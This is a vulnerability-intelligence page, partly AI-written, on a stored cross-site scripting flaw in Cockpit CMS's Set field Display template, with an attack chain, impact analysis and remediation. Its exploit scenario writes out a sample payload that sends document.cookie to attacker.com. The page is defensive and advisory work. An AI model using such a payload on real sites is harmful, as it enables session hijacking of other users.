Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate with content editor privileges
-
DeliveryAccess collection field settings
-
ExploitInject malicious JavaScript in Set field Display template
-
InstallSave configuration
-
C2Victim user views collection items list
-
ExecuteBrowser executes stored XSS payload
-
ImpactExfiltrate session tokens or perform actions as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access with content/:models/manage permission, which is typically granted to content editors and administrators in Cockpit CMS but not to anonymous or read-only users. Attacker must have privileges to create or modify collection field configurations, specifically the Set field type's Display template option. Exploitation is NOT limited to non-default configurations - the vulnerable Display template feature is a standard Set field option in affected versions. Attack complexity is low (AC:L) as no race conditions or cryptographic bypasses are required. User interaction is required (UI:P) but is unavoidable in normal workflow: any user viewing the collection items list triggers the stored payload. Limiting factors: Cross-site exploitation scope (S:X in CVSS 4.0) means the attacker's authenticated session cannot directly compromise the CMS server backend, only other users' browser sessions. Impact is bounded by browser same-origin policy protections and any CSP headers present. |
| Impact | Moderate real-world risk despite low CVSS 5.1 score. The CVSS:4.0 vector (AV:N/AC:L/PR:L/UI:P) indicates network-exploitable with low complexity but requires authenticated low-privilege access and user interaction. CVSS Supplemental Metrics show Subsequent System impact only (SC:L/SI:L, no SA:N), meaning exploitation scope is limited to other users' browser sessions, not the server. Critical risk factors: (1) Privilege requirement is content/:models/manage, a common permission for content editors in CMSs, expanding the attacker pool beyond just admins. (2) User interaction is unavoidable - viewing the collection items list is normal workflow, not a suspicious link click. (3) Stored nature means persistent exploitation without repeated injection. Mitigating factors: No CISA KEV listing indicates not currently targeted in mass exploitation. Publicly available exploit code exists (VulnCheck advisory with detailed technical analysis). EPSS data not provided, but stored XSS in content management features historically sees moderate exploitation due to ease of social engineering attacks on authenticated users. Priority: Medium-High for multi-user Cockpit CMS installations, Low for single-admin or dev-only instances. |
| Exploit ScenarioDerived | A content editor with content/:models/manage permission logs into Cockpit CMS and navigates to a collection's field configuration. They edit a Set field type's Display template option and inject malicious JavaScript such as <img src=x onerror='fetch("https://attacker.com?c="+document.cookie)'> wrapped in template syntax that bypasses basic validation. When any user (admin or editor) views the collection items list, the injected script executes in their browser context, exfiltrating session cookies or authentication tokens to the attacker's server. The attacker uses stolen credentials to escalate privileges or access sensitive content management functions. VulnCheck advisory confirms detailed exploitation methodology exists. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 15, 2026
Stored cross-site scripting in Cockpit CMS 2.14.0 and earlier allows authenticated users with content/:models/manage permission to inject arbitrary JavaScript through the Set field type's Display template option. The vulnerability exploits unsafe template rendering via new Function() and Vue's v-html directive without sanitization, executing injected code in the browsers of all users viewing the collection items list. Vendor-released patch available via commit 72a83fc replaces Function-based evaluation with sandboxed JSLite execution.
RemediationAI
Upgrade to Cockpit CMS post-2.14.0 versions incorporating commit 72a83fc or later from the main branch at https://github.com/Cockpit-HQ/Cockpit/commit/72a83fcfe85ad8330e9ae834bc02fa517b5749e9. The patch replaces Function-based template interpolation with sandboxed JSLite execution, eliminating the code injection vector while maintaining display template functionality. If immediate patching is not feasible, implement strict role-based access control to restrict content/:models/manage permission to only highly trusted administrators, reducing the attacker pool. As a compensating control, audit existing Set field Display templates for suspicious JavaScript patterns and sanitize or remove them, though this does not prevent future injection. Consider implementing Content Security Policy (CSP) headers to restrict inline script execution, which may limit XSS payload effectiveness but could also break legitimate Cockpit CMS frontend functionality and requires thorough testing. Review application logs for unexpected changes to Set field configurations as potential indicators of exploitation attempts.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Cockpit CMS (cpe:2.3:a:cockpit-hq:cockpit) is a headless CMS built on PHP with Vue.js frontend components. The vulnerability exists in the Set field type's Display template feature, which processes user-supplied template strings through App.utils.$interpolate using JavaScript's new Function() constructor for dynamic code generation, then renders the result via Vue's v-html directive. This pattern (CWE-79: Improper Neutralization of Input During Web Page Generation) creates a classic stored XSS vector where template syntax becomes executable JavaScript. The patch commit replaces the Function-based interpolation with sandboxed JSLite execution to eliminate arbitrary code execution while preserving legitimate template behavior.
Know when Cockpit gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from Vendor (VulnCheck) · only source for this CVE.
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
Cockpit CMS through version 2.14.0, patched in commit 72a83fc, contains a stored cross-site scripting vulnerability in the Set field type's Display template option, where the template string is processed by the $interpolate function using new Function() and rendered via Vue's v-html directive without sanitization. An attacker with content/:models/manage permission can inject arbitrary JavaScript into the Display template, which executes in the browser of any user viewing the collection items list.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function. Rated critical
Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. Rated critical severit
Insufficient Session Expiration in GitHub repository cockpit-hq/cockpit prior to 2.2.0. Rated critical severity (CVSS 9.
Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php newpassword function. Rated critical s
Agentejo Cockpit performs actions on files without appropriate validation and therefore allows an attacker to traverse t
SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to r
PHP Remote File Inclusion in GitHub repository cockpit-hq/cockpit prior to 2.6.3. Rated high severity (CVSS 8.8), this v
A Cross-Site Request Forgery (CSRF) in the Admin portal of Cockpit CMS v2.5.2 allows attackers to execute arbitrary Admi
Unrestricted Upload of File with Dangerous Type in GitHub repository cockpit-hq/cockpit prior to 2.4.1. Rated high sever
Privilege Chaining in GitHub repository cockpit-hq/cockpit prior to 2.3.8. Rated high severity (CVSS 8.8), this vulnerab
Improper Removal of Sensitive Information Before Storage or Transfer in GitHub repository cockpit-hq/cockpit prior to 2.
Authenticated remote code execution in Cockpit CMS lets attackers holding collection-management privileges inject arbitr
EUVD-2026-30556
GHSA-ch4j-vcf5-58x5
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB